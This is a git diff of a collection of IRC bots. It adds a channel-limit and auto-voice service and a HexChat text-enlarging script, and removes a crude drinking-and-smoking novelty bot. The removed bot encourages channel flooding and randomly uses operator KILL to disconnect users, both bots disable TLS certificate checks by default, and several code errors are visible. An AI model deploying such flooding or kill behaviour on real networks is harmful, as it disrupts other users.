+ Bot.event = None
+ Bot.nicks = list()
+
+class Generate:
+ def beer():
+ glass = color(' ', light_grey, light_grey)
+ return glass + color(''.join(random.choice((' :.')) for _ in range(9)), orange, yellow) + glass
+
+ def cigarette(size):
+ filter = color(';.`-,:.`;', yellow, orange)
+ cigarette = color('|'*size, light_grey, white)
+ cherry_a = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
+ cherry_b = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
+ smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
+ return filter + cigarette + cherry_a + cherry_b + smoke
+
+ def joint(size):
+ joint = color('/'*size, light_grey, white)
+ cherry_a = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
+ cherry_b = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
+ smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
+ return joint + cherry_a + cherry_b + smoke
+
+ def mug(size):
+ glass = color(' ', light_grey, light_grey)
+ empty = f'{glass} {glass}'
+ foam = glass + color(':::::::::', light_grey, white) + glass
+ bottom = color(' ', light_grey, light_grey)
+ mug = [foam,Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer()]
+ for i in range(8-size):
+ mug.pop()
+ mug.insert(0, empty)
+ for i in range(len(mug)):
+ if i == 2 or i == 7:
+ mug[i] += glass + glass
+ elif i > 2 and i < 7:
+ mug[i] += ' ' + glass
+ mug.append(bottom)
+ return mug
+
+# Main
+if use_ssl:
+ import ssl
+if not os.path.isfile(stat_file):
+ open(stat_file, 'w').write('0:0:0')
+Bot = IRC()
+Bot.run()
diff --git a/irc/bots/ircs b/irc/bots/ircs
@@ -0,0 +1 @@
+Subproject commit a2d36f86df617efad0dcace56862f0a8c147d3da
diff --git a/irc/bots/limitserv.py b/irc/bots/limitserv.py
@@ -0,0 +1,264 @@
+#!/usr/bin/env python
+# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+
+import socket
+import threading
+import time
+
+# Configuration
+_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
+_cert = {'file':None, 'key':None, 'password':None}
+_ident = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
+_login = {'nickserv':None, 'network':None, 'operator':None}
+_throttle = {'limit':300, 'queue':0.5, 'voice':10}
+_settings = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
+
+def debug(msg):
+ print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason):
+ print(f'{get_time()} | [!] - {msg} ({reason})')
+
+def get_time():
+ return time.strftime('%I:%M:%S')
+
+class IRC(object):
+ def __init__(self):
+ self._channels = list()
+ self._names = list()
+ self._queue = list()
+ self._voices = dict()
+ self._sock = None
+
+ def _run(self):
+ Loop._loops()
+ self._connect()
+
+ def _connect(self):
+ try:
+ self._create_socket()
+ self._sock.connect((_connection['server'], _connection['port']))
+ self._register()
+ except socket.error as ex:
+ error('Failed to connect to IRC server.', ex)
+ Event._disconnect()
+ else:
+ self._listen()
+
+ def _create_socket(self):
+ self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ if _connection['vhost']:
+ self._sock.bind((_connection['vhost'], 0))
+ if _connection['ssl']:
+ ctx = ssl.SSLContext()
+ if _cert['file']:
+ ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
+ if _connection['ssl_verify']:
+ ctx.verify_mode = ssl.CERT_REQUIRED
+ ctx.load_default_certs()
+ else:
+ ctx.check_hostname = False
+ ctx.verify_mode = ssl.CERT_NONE
+ self._sock = ctx.wrap_socket(self._sock)
+
+ def _listen(self):
+ while True:
+ try:
+ data = self._sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ debug(line)
+ Event._handle(line)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except Exception as ex:
+ error('Unexpected error occured.', ex)
+ break
+ Event._disconnect()
+
+ def _register(self):
+ if _login['network']:
+ Bot._queue.append('PASS ' + _login['network'])
+ Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
+ Bot._queue.append('NICK ' + _ident['nickname'])
+
+class Command:
+ def _join(chan, key=None):
+ Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
+
+ def _kick(chan, nick, msg=None):
+ Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
+
+ def _mode(target, mode):
+ Bot._queue.append(f'MODE {target} {mode}')
+
+ def _raw(msg):
+ Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
+
+ def _sendmsg(target, msg):
+ Bot._queue.append(f'PRIVMSG {target} :{msg}')
+
+class Event:
+ def _connect():
+ if _settings['modes']:
+ Command._mode(_ident['nickname'], '+' + _settings['modes'])
+ if _login['nickserv']:
+ Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
+ if _login['operator']:
+ Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
+
+ def _disconnect():
+ Bot._sock.close()
+ Bot._names = list()
+ Bot._queue = list()
+ Bot._voices = dict()
+ time.sleep(15)
+ Bot.connect()
+
+ def _end_of_names(chan):
+ limit = str(len(Bot._names) + _settings['limit'])
+ if settings['anope']:
+ Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
+ else:
+ Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
+ Bot._names = list()
+
+ def _join(nick, chan):
+ if nick == _ident['nickname'].lower():
+ if chan not in Bot._channels:
+ Bot._channels.append(chan)
+ if chan not in Bot._voices:
+ Bot._voices[chan] = dict()
+ elif chan in Bot._channels:
+ if nick not in Bot._voices[chan]:
+ Bot._voices[chan][nick] = time.time()
+
+ def _kick(nick, chan, kicked):
+ if nick == _ident['nickname'].lower():
+ Bot._channels.remove(chan)
+ del Bot._voices[chan]
+ time.sleep(3)
+ Command._join(chan)
+ elif chan in Bot._channels:
+ if nick in Bot._voices[chan]:
+ del Bot._voices[chan][nick]
+
+ def _names(chan, nicks):
+ for name in nicks:
+ if name[:1] in '~!@%&+':
+ name = name[1:]
+ Bot._names.append(name)
+
+ def _nick(nick, new_nick):
+ for chan in Bot._voices:
+ if nick in Bot._voices[chan]:
+ Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
+ del Bot._voices[chan][nick]
+
+ def _no_such_nick(nick):
+ for chan in Bot._voices:
+ if nick in Bot._voices[chan]:
+ del Bot.voices[chan][nick]
+
+ def _part(nick, chan):
+ if nick == _ident['nickname'].lower():
+ Bot._channels.remove(chan)
+ del Bot._voices[chan]
+ elif chan in Bot._channels:
+ if nick in Bot._voices[chan]:
+ del Bot._voices[chan][nick]
+
+ def _quit(nick):
+ for chan in Bot._voices:
+ if nick in Bot._voices[chan]:
+ del Bot._voices[chan][nick]
+
+ def _handle(data):
+ args = data.split()
+ if data.startswith('ERROR :Closing Link:'):
+ raise Exception('Connection has closed.')
+ elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
+ raise Exception('Connection has closed. (throttled)')
+ elif args[0] == 'PING':
+ Command._raw('PONG ' + args[1][1:])
+ elif args[1] == '001': # RPL_WELCOME
+ Event._connect()
+ elif args[1] == '401': # ERR_NOSUCHNICK
+ nick = args[3].lower()
+ Event._no_such_nick(nick)
+ elif args[1] == '433': # ERR_NICKNAMEINUSE
+ raise Exception('Bot is already running or nick is in use.')
+ elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
+ chan = args[4].lower()
+ names = ' '.join(args[5:]).lower()[1:].split()
+ Event._names(chan, names)
+ elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
+ chan = args[3].lower()
+ Event._end_of_names(chan)
+ elif args[1] == 'JOIN' and len(args) == 3:
+ nick = args[0].split('!')[0][1:].lower()
+ chan = args[2][1:].lower()
+ Event._join(nick, chan)
+ elif args[1] == 'KICK' and len(args) >= 4:
+ nick = args[0].split('!')[0][1:].lower()
+ chan = args[2].lower()
+ kicked = args[3].lower()
+ Event._kick(nick, chan, kicked)
+ elif args[1] == 'NICK' and len(args) == 3:
+ nick = args[0].split('!')[0][1:].lower()
+ new_nick = args[2][1:].lower()
+ Event._nick(nick, new_nick)
+ elif args[1] == 'PART' and len(args) >= 3:
+ nick = args[0].split('!')[0][1:].lower()
+ chan = args[2].lower()
+ Event._part(nick, chan)
+ elif args[1] == 'QUIT':
+ nick = args[0].split('!')[0][1:].lower()
+ Event._quit(nick)
+
+class Loop:
+ def _loops():
+ threading.Thread(target=Loop._queue).start() # start first to handle incoming data
+ threading.Thread(target=Loop._limit).start()
+ threading.Thread(target=Loop._voice).start()
+
+ def _limit():
+ while True:
+ try:
+ for chan in Bot._channels:
+ Bot._queue.append('NAMES ' + chan)
+ except Exception as ex:
+ error('Error occured in the loop!', ex)
+ finally:
+ time.sleep(_throttle['limit'])
+
+ def _queue():
+ while True:
+ try:
+ if Bot._queue:
+ Command._raw(Bot._queue.pop(0))
+ except Exception as ex:
+ error('Error occured in the queue loop!', ex)
+ finally:
+ time.sleep(_throttle['queue'])
+
+ def _voice():
+ while True:
+ try:
+ for chan in Bot._voices:
+ nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
+ for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
+ Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
+ for subitem in item:
+ del Bot._voices[chan][subitem]
+ except Exception as ex:
+ error('Error occured in the voice loop!', ex)
+ finally:
+ time.sleep(1)
+
+# Main
+if _connection['ssl']:
+ import ssl
+else:
+ del cert, _connection['verify']
+Bot = IRC()
+Bot._run()
diff --git a/irc/cancer.py b/irc/cancer.py
@@ -1,501 +0,0 @@
-#!/usr/bin/env python
-# Cancer IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-
-'''
-WARNING: This bot highly encourages flooding!
-
-Commands:
- @cancer | Information about the bot.
- @cancer stats | Return bot statistics for the channel
- !100 | 1 in 100 chance to get a 100 (big !smoke)
- !beer [nick] | Grab a beer or toss one to someone.
- !chainsmoke | Start a game of Chain Smoke
- !chug | Sip beer
- !dragrace | Start a game of Drag Race
- !extendo | 1 in 100 chance to get an EXTENDO (big !toke)
- !fatfuck | 1 in 100 chance to get a FATFUCK (fat !smoke/!toke)
- !letschug | LET'S FUCKING CHUG!
- !letstoke | LET'S FUCKING TOKE!
- !toke | Hit joint
- !smoke | Hit cigarette
-'''
-
-import os
-import random
-import socket
-import threading
-import time
-
-# Connection
-server = 'irc.server.com'
-port = 6697
-use_ipv6 = False
-use_ssl = True
-ssl_verify = False
-vhost = None
-channel = '#chats'
-key = None
-
-# Certificate
-cert_key = None
-cert_file = None
-cert_pass = None
-
-# Identity
-nickname = 'CANCER'
-username = 'smokesome' # vHost can be CIG@ARETTE or C@NCER for vanity purposes
-realname = 'acid.vegas/random'
-
-# Login
-nickserv_password = None
-network_password = None
-operator_password = None
-
-# Settings
-user_modes = None
-
-# Globals (DO NOT EDIT)
-stat_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'stats.log')
-
-# Formatting Control Characters / Color Codes
-bold = '\x02'
-italic = '\x1D'
-underline = '\x1F'
-reverse = '\x16'
-reset = '\x0f'
-white = '00'
-black = '01'
-blue = '02'
-green = '03'
-red = '04'
-brown = '05'
-purple = '06'
-orange = '07'
-yellow = '08'
-light_green = '09'
-cyan = '10'
-light_cyan = '11'
-light_blue = '12'
-pink = '13'
-grey = '14'
-light_grey = '15'
-
-def color(msg, foreground, background=None):
- return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
-
-def debug(msg):
- print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason=None):
- print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
-
-def get_time():
- return time.strftime('%I:%M:%S')
-
-def luck(odds):
- return True if random.randint(1,odds) == 1 else False
-
-def stats(stat_type, stat_action):
- option = {'chug':0,'smoke':1,'toke':2}
- if stat_action == 'add':
- stats = [int(stat) for stat in open(stat_file).read().split().split(':')]
- with open(stat_file, 'w') as stats_file:
- stats[option[stat_type]]+=1
- stats_file.write(':'.join([str(stat) for stat in stats]))
- elif stat_action == 'get':
- return int(open(stat_file).read().split(':')[option[stat_type]])
-
-class IRC(object):
- def __init__(self):
- self.chain_smoked = 0
- self.drag_race_start = 0
- self.fat = False
- self.event = None
- self.nicks = list()
- self.sock = None
- self.stats = {'chugged':0,'hits':25,'sips':8,'smoked':0,'toked':0}
- self.status = True
-
- def run(self):
- threading.Thread(target=Games.loop).start()
- self.connect()
-
- def connect(self):
- try:
- self.create_socket()
- self.sock.connect((server, port))
- self.register()
- except socket.error as ex:
- error('Failed to connect to IRC server.', ex)
- Events.disconnect()
- else:
- self.listen()
-
- def create_socket(self):
- family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
- self.sock = socket.socket(family, socket.SOCK_STREAM)
- if vhost:
- self.sock.bind((vhost, 0))
- if use_ssl:
- ctx = ssl.SSLContext()
- if cert_file:
- ctx.load_cert_chain(cert_file, cert_key, cert_pass)
- if ssl_verify:
- ctx.verify_mode = ssl.CERT_REQUIRED
- ctx.load_default_certs()
- else:
- ctx.check_hostname = False
- ctx.verify_mode = ssl.CERT_NONE
- self.sock = ctx.wrap_socket(self.sock)
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- debug(line)
- Events.handle(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except Exception as ex:
- error('Unexpected error occured.', ex)
- break
- Events.disconnect()
-
- def register(self):
- if network_password:
- Commands.raw('PASS ' + network_password)
- Commands.raw(f'USER {username} 0 * :{realname}')
- Commands.raw('NICK ' + nickname)
-
-class Commands:
- def action(chan, msg):
- Commands.sendmsg(chan, f'\x01ACTION {msg}\x01')
-
- def join_channel(chan, key=None):
- Commands.raw(f'JOIN {chan} {key}') if key else Commands.raw('JOIN ' + chan)
-
- def kill(nick, reason):
- Commands.raw(f'KILL {nick} {reason}')
-
- def notice(target, msg):
- Commands.raw(f'NOTICE {target} :{msg}')
-
- def raw(msg):
- Bot.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
- def sendmsg(target, msg):
- Commands.raw(f'PRIVMSG {target} :{msg}')
-
-class Events:
- def connect():
- if user_modes:
- Commands.raw(f'MODE {nickname} +{user_modes}')
- if nickserv_password:
- Commands.sendmsg('NickServ', f'IDENTIFY {nickname} {nickserv_password}')
- if operator_password:
- Commands.raw(f'OPER {username} {operator_password}')
- Commands.join_channel(channel, key)
-
- def disconnect():
- Bot.chain_smoked = 0
- Bot.drag_race_start = 0
- Bot.event = None
- Bot.nicks = list()
- Bot.status = True
- Bot.sock.close()
- time.sleep(10)
- Bot.connect()
-
- def message(nick, chan, msg):
- if Bot.status:
- args = msg.split()
- if msg == '@cancer':
- Commands.sendmsg(chan, bold + 'CANCER IRC Bot - Developed by acidvegas in Python - https://acid.vegas/random')
- elif msg == '@cancer stats':
- Commands.sendmsg(chan, 'Chugged : {0} beers {1}'.format(color('{:,}'.format(stats('chug','get')*24), light_blue), color('({:,} cases)'.format(stats('chug','get')), grey)))
- Commands.sendmsg(chan, 'Smoked : {0} cigarettes {1}'.format(color('{:,}'.format(stats('smoke','get')*20), light_blue), color('({:,} packs)'.format(stats('smoke','get')), grey)))
- Commands.sendmsg(chan, 'Toked : {0} joints {1}'.format(color('{:,}'.format(stats('toke','get')*3), light_blue), color('({:,} grams)'.format(stats('toke','get')), grey)))
- elif msg in ('!100','!extendo') and luck(100):
- Bot.stats['hits'] = 100
- if msg == '!100':
- Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', white, red), color('AWWW SHIT, IT\'S TIME FOR THAT NEWPORT 100', red, white), color(' !!! ', white, red)))
- else:
- Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('OHHH FUCK, IT\'S TIME FOR THAT 420 EXTENDO', yellow, green), color(' !!! ', red, green)))
- elif args[0] == '!beer':
- if len(args) == 1:
- target = nick
- elif len(args) == 2:
- target = args[1]
- beer = '{0}{1}{2}'.format(color(' ', white, white), color(' BUD ', white, random.choice((blue,brown))), color('c', grey, white))
- Commands.action(chan, f'throws {color(target, white)} an ice cold {beer} =)')
- elif msg == '!chainsmoke' and not Bot.event:
- threading.Thread(target=Games.chain_smoke, args=(chan,)).start()
- elif msg == '!chug':
- if Bot.event == 'letschug':
- if nick in Bot.nicks:
- Commands.sendmsg(chan, color(nick + ' you are already chuggin u wastoid!', light_green))
- else:
- Bot.nicks.append(nick)
- Commands.sendmsg(chan, color(nick + ' joined the CHUG session!', light_green))
- else:
- if Bot.stats['sips'] <= 0:
- Bot.stats['sips'] = 8
- Bot.stats['chugged'] += 1
- if Bot.stats['chugged'] == 24:
- stats('chug','add')
- Bot.stats['chugged'] = 0
- for line in Generate.mug(Bot.stats['sips']):
- Commands.sendmsg(chan, line)
- Bot.stats['sips'] -= random.choice((1,2))
- elif msg == '!dragrace' and not Bot.event:
- threading.Thread(target=Games.drag_race).start()
- elif msg == '!fatfuck' and luck(100):
- Bot.fat = True
- Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('AWWW SHIT, IT\'S TIME FOR THAT MARLBORO FATFUCK', black, green), color(' !!! ', red, green)))
- elif msg == '!letschug' and not Bot.event:
- threading.Thread(target=Games.chug, args=(nick,chan)).start()
- elif msg == '!letstoke' and not Bot.event:
- threading.Thread(target=Games.toke, args=(nick,chan)).start()
- elif msg in ('!smoke','!toke'):
- option = 'smoked' if msg == '!smoke' else 'toked'
- if msg == '!toke' and Bot.event == 'letstoke':
- if nick in Bot.nicks:
- Commands.sendmsg(chan, color(nick + ' you are already toking u stoner!', light_green))
- else:
- Bot.nicks.append(nick)
- Commands.sendmsg(chan, color(nick + ' joined the TOKE session!', light_green))
- else:
- if Bot.stats['hits'] <= 0:
- Bot.stats['hits'] = 25
- Bot.stats[option] += 1
- if Bot.fat:
- Bot.fat = False
- if Bot.stats[option] == 20:
- stats(option[:-1],'add')
- Bot.stats[option] = 0
- if Bot.event == 'chainsmoke' and msg == '!smoke':
- Bot.nicks[nick] = Bot.nicks[nick]+1 if nick in Bot.nicks else 1
- Bot.chain_smoked += 1
- elif Bot.event == 'dragrace' and msg == '!smoke':
- Commands.sendmsg(chan, 'It took {0} seconds for {1} to smoke a cigarette!'.format(color('{:.2f}'.format(time.time()-Bot.drag_race_start), light_blue), color(chan, white)))
- Bot.event = None
- Bot.drag_race_start = 0
- elif luck(25):
- Commands.kill(nick, f'CANCER KILLED {nick.upper()} - QUIT SMOKING TODAY! +1 800-QUIT-NOW')
- else:
- object = Generate.cigarette(Bot.stats['hits']) if msg == '!smoke' else Generate.joint(Bot.stats['hits'])
- cigarette = Generate.cigarette(Bot.stats['hits'])
- if Bot.fat:
- Commands.sendmsg(chan, object)
- Commands.sendmsg(chan, object)
- Commands.sendmsg(chan, object)
- else:
- Commands.sendmsg(chan, object)
- Bot.stats['hits'] -= random.choice((1,2))
-
- def handle(data):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- Commands.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- Events.connect()
- elif args[1] == '433':
- error('The bot is already running or nick is in use.')
- elif args[1] == 'INVITE' and len(args) == 4:
- invited = args[2]
- chan = args[3][1:]
- if invited == nickname and chan == channel:
- Commands.join_channel(channel, key)
- elif args[1] == 'KICK' and len(args) >= 4:
- chan = args[2]
- kicked = args[3]
- if kicked == nickname and chan == channel:
- time.sleep(3)
- Commands.join_channel(channel, key)
- elif args[1] == 'PART' and len(args) >= 3:
- chan = args[2]
- if chan == channel:
- nick = args[0].split('!')[0][1:]
- Commands.action(nick, f'blows smoke in {nick}\'s face...')
- elif args[1] == 'PRIVMSG' and len(args) >= 4:
- nick = args[0].split('!')[0][1:]
- chan = args[2]
- msg = data.split(f'{args[0]} PRIVMSG {chan} :')[1]
- if chan == channel:
- Events.message(nick, chan, msg)
-
-class Games:
- def chain_smoke(chan):
- Bot.event = 'chainsmoke'
- Bot.status = False
- Bot.nicks = dict()
- try:
- Commands.notice(chan, 'Starting a round of {0} in {1} seconds!'.format(color('ChainSmoke', red), color('10', white)))
- Commands.notice(chan, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. Once you finish a cigarette, a new one will be lit for you. You will have 60 seconds to chain smoke as many cigarettes as possible.', yellow)))
- time.sleep(10)
- Commands.action(chan, 'Round starts in 3...')
- time.sleep(1)
- Commands.action(chan, '2...')
- time.sleep(1)
- Commands.action(chan, '1...')
- time.sleep(1)
- Commands.action(chan, color('GO', light_green))
- Bot.status = True
- time.sleep(60)
- Bot.status = False
- Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
- time.sleep(1)
- Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
- time.sleep(1)
- Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
- Commands.sendmsg(chan, color('Counting cigarette butts...', yellow))
- time.sleep(10)
- Commands.sendmsg(chan, '{0} smoked {1} cigarettes!'.format(chan, color(str(Bot.chain_smoked), light_blue)))
- if Bot.nicks:
- guy = max(Bot.nicks, key=Bot.nicks.get)
- Commands.sendmsg(chan, '{0} smoked the most cigarettes... {1}'.format(guy, Bot.nicks[guy]))
- except Exception as ex:
- error('Error occured in chain smoke event!', ex)
- finally:
- Bot.chain_smoked = 0
- Bot.nicks = list()
- Bot.event = None
- Bot.status = True
-
- def chug(nick, chan):
- Bot.event = 'letschug'
- Bot.nicks.append(nick)
- try:
- Commands.sendmsg(chan, color(f'OH SHIT {nick} is drunk', light_green))
- Commands.notice(chan, color(f'Time to TOTALLY CHUG in {chan.upper()} in 30 seconds, type !chug to join', light_green))
- time.sleep(10)
- Commands.sendmsg(chan, color('LOL we CHUG in 20 get ready ' + ' '.join(Bot.nicks), light_green))
- time.sleep(10)
- Commands.sendmsg(chan, color('YO we CHUG in 10 get ready ' + ' '.join(Bot.nicks), light_green))
- time.sleep(5)
- Commands.sendmsg(chan, color('alright CHUG in 5', light_green))
- time.sleep(1)
- Commands.sendmsg(chan, color('4..', light_green))
- time.sleep(1)
- Commands.sendmsg(chan, color('3..', light_green))
- time.sleep(1)
- Commands.sendmsg(chan, color('2..', light_green))
- time.sleep(1)
- Commands.sendmsg(chan, color('1..', light_green))
- time.sleep(1)
- Commands.sendmsg(chan, color(' '.join(Bot.nicks) + ' .. CHUG!', light_green))
- except Exception as ex:
- error('Error occured in chug event!', ex)
- finally:
- Bot.event = None
- Bot.nicks = list()
-
- def drag_race():
- Bot.event = 'dragrace'
- Bot.status = False
- Bot.hits = 25
- try:
- Commands.notice(channel, 'Starting a round of {0} in {1} seconds!'.format(color('DragRace', red), color('10', white)))
- Commands.notice(channel, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. You will have 10 seconds to smoke as quickly as possible.', yellow)))
- time.sleep(10)
- Commands.action(channel, 'Round starts in 3...')
- time.sleep(1)
- Commands.action(channel, '2...')
- time.sleep(1)
- Commands.action(channel, '1...')
- time.sleep(1)
- Commands.action(channel, color('GO', light_green))
- Bot.drag_race_start = time.time()
- except Exception as ex:
- error('Error occured in the drag race event!', ex)
- finally:
- Bot.status = True
-
- def loop():
- while True:
- if get_time()[:-3] == '04:20':
- try:
- Commands.sendmsg(channel, color('S M O K E W E E D E R R D A Y', light_green))
- Commands.sendmsg(channel, color('ITZ DAT MUTHA FUCKN 420 BITCH', yellow))
- Commands.sendmsg(channel, color('LIGHT UP A NICE GOOD FAT FUCK', red))
- time.sleep(43000)
- except Exeption as ex:
- error('Error occured in loop!', ex)
- else:
- time.sleep(30)
-
- def toke(nick, chan):
- Bot.event = 'letstoke'
- Bot.nicks.append(nick)
- try:
- Commands.sendmsg(channel, color(f'YO {nick} is high', light_green))
- Commands.notice(channel, color(f'Time to FUCKING toke in {chan.upper()}, type !toke to join', light_green))
- time.sleep(10)
- Commands.sendmsg(channel, color('OH SHIT we toke in 20 get ready ' + ' '.join(Bot.nicks), light_green))
- time.sleep(10)
- Commands.sendmsg(channel, color('OH SHIT we toke in 10 get ready ' + ' '.join(Bot.nicks), light_green))
- time.sleep(5)
- Commands.sendmsg(channel, color('alright toke in 5', light_green))
- time.sleep(1)
- Commands.sendmsg(channel, color('4..', light_green))
- time.sleep(1)
- Commands.sendmsg(channel, color('3..', light_green))
- time.sleep(1)
- Commands.sendmsg(channel, color('2..', light_green))
- time.sleep(1)
- Commands.sendmsg(channel, color('1..', light_green))
- time.sleep(1)
- Commands.sendmsg(channel, color(' '.join(Bot.nicks) + ' .. toke!', light_green))
- except Exception as ex:
- error('Error occured in toke event!', ex)
- finally:
- Bot.event = None
- Bot.nicks = list()
-
-class Generate:
- def beer():
- glass = color(' ', light_grey, light_grey)
- return glass + color(''.join(random.choice((' :.')) for _ in range(9)), orange, yellow) + glass
-
- def cigarette(size):
- filter = color(';.`-,:.`;', yellow, orange)
- cigarette = color('|'*size, light_grey, white)
- cherry_a = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
- cherry_b = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
- smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
- return filter + cigarette + cherry_a + cherry_b + smoke
-
- def joint(size):
- joint = color('/'*size, light_grey, white)
- cherry_a = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
- cherry_b = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
- smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
- return joint + cherry_a + cherry_b + smoke
-
- def mug(size):
- glass = color(' ', light_grey, light_grey)
- empty = f'{glass} {glass}'
- foam = glass + color(':::::::::', light_grey, white) + glass
- bottom = color(' ', light_grey, light_grey)
- mug = [foam,Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer()]
- for i in range(8-size):
- mug.pop()
- mug.insert(0, empty)
- for i in range(len(mug)):
- if i == 2 or i == 7:
- mug[i] += glass + glass
- elif i > 2 and i < 7:
- mug[i] += ' ' + glass
- mug.append(bottom)
- return mug
-
-# Main
-if use_ssl:
- import ssl
-if not os.path.isfile(stat_file):
- open(stat_file, 'w').write('0:0:0')
-Bot = IRC()
-Bot.run()
diff --git a/irc/hueg-hexchat.pl b/irc/hueg-hexchat.pl
@@ -0,0 +1,1258 @@
+######
+# hueg.pl PRO MODE
+# modded by ma0 and others
+# respekts 2 jakk and others
+# 2020 upd: ported for HexChat by anon
+######
+
+use Xchat qw(:all);
+
+$VERSION = ord 'LOL';
+
+register('hueg', $VERSION, 'make text hueg LOL');
+
+hook_command( "hueg", \&hueg );
+
+my $maxchars = 10; #num of chars b4 split
+my $reverse = 0;
+my $flip = 0;
+my $mirror = 0;
+my $scale = 1;
+my $k = chr 3;
+my $OO = pack('H*', '0f');
+
+sub hueg {
+ my $target = context_info()->{channel};
+ my $data = $_[1][1];
+
+ $in = $data;
+ my $rep;
+
+ if ($in =~ /-rep (\d+)/i) {
+ $rep = $1;
+ $in =~ s/-rep \d+//i;
+ } else {
+ $rep = 1;
+ }
+ if($in =~ /-scale (\d+)/i) {
+ $scale = $1;
+ $in =~ s/-scale \d+//i;
+ } else {
+ $scale = 1;
+ }
+ if($in =~ /-re/i) {
+ $reverse = 1;
+ $in =~ s/-re//i;
+ } else {
+ $reverse = 0;
+ }
+ if($in =~ /-flip/i){
+ $flip = 1;
+ $in =~ s/-flip//i;
+ } else {
+ $flip = 0;
+ }
+ if($in =~ /-mir/i) {
+ $mirror = 1;
+ $in =~ s/-mir//i;
+ } else {
+ $mirror = 0;
+ }
+
+ $in =~ s/\s+$//;
+ if ($in eq '') {
+ Xchat::print "/hueg <string> [options]";
+ Xchat::print " -rep <num> num of times to scroll msg";
+ Xchat::print " -re reverses text";
+ Xchat::print " -flip flips text";
+ Xchat::print " -mir mirrors your text [NOT WORKIN LOL]";
+ Xchat::print " -scale <num> scales shit";
+ Xchat::print " num,num,num fg, shadow, bg colors (bg optional)";
+ } else {
+
+ until ($rep==0) {
+
+ # colors();
+ if ($data =~ /(\d+),(\d+),(\d+)/) {
+ $c2 = "$k$1,$1"; #fg
+ $c1 = "$k$2,$2"; #sh
+ $c3 = "$k$3,$3"; #bg
+ $in =~ s/\d+,\d+,\d+//;
+ } elsif ($data =~ /(\d+),(\d+)/) {
+ $c2 = "$k$1,$1"; #fg
+ $c1 = "$k$2,$2"; #sh
+ $c3 = "$OO"; #bg (trans)
+ $in =~ s/\d+,\d+//;
+ } else {
+ $r1 = $r2 = 0;
+ until ($r1 > 1) { $r1 = int rand(15); }
+ until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
+ $c2 = "$k$r1,$r1"; #fg (rand)
+ $c1 = "$k$r2,$r2"; #sh (rand)
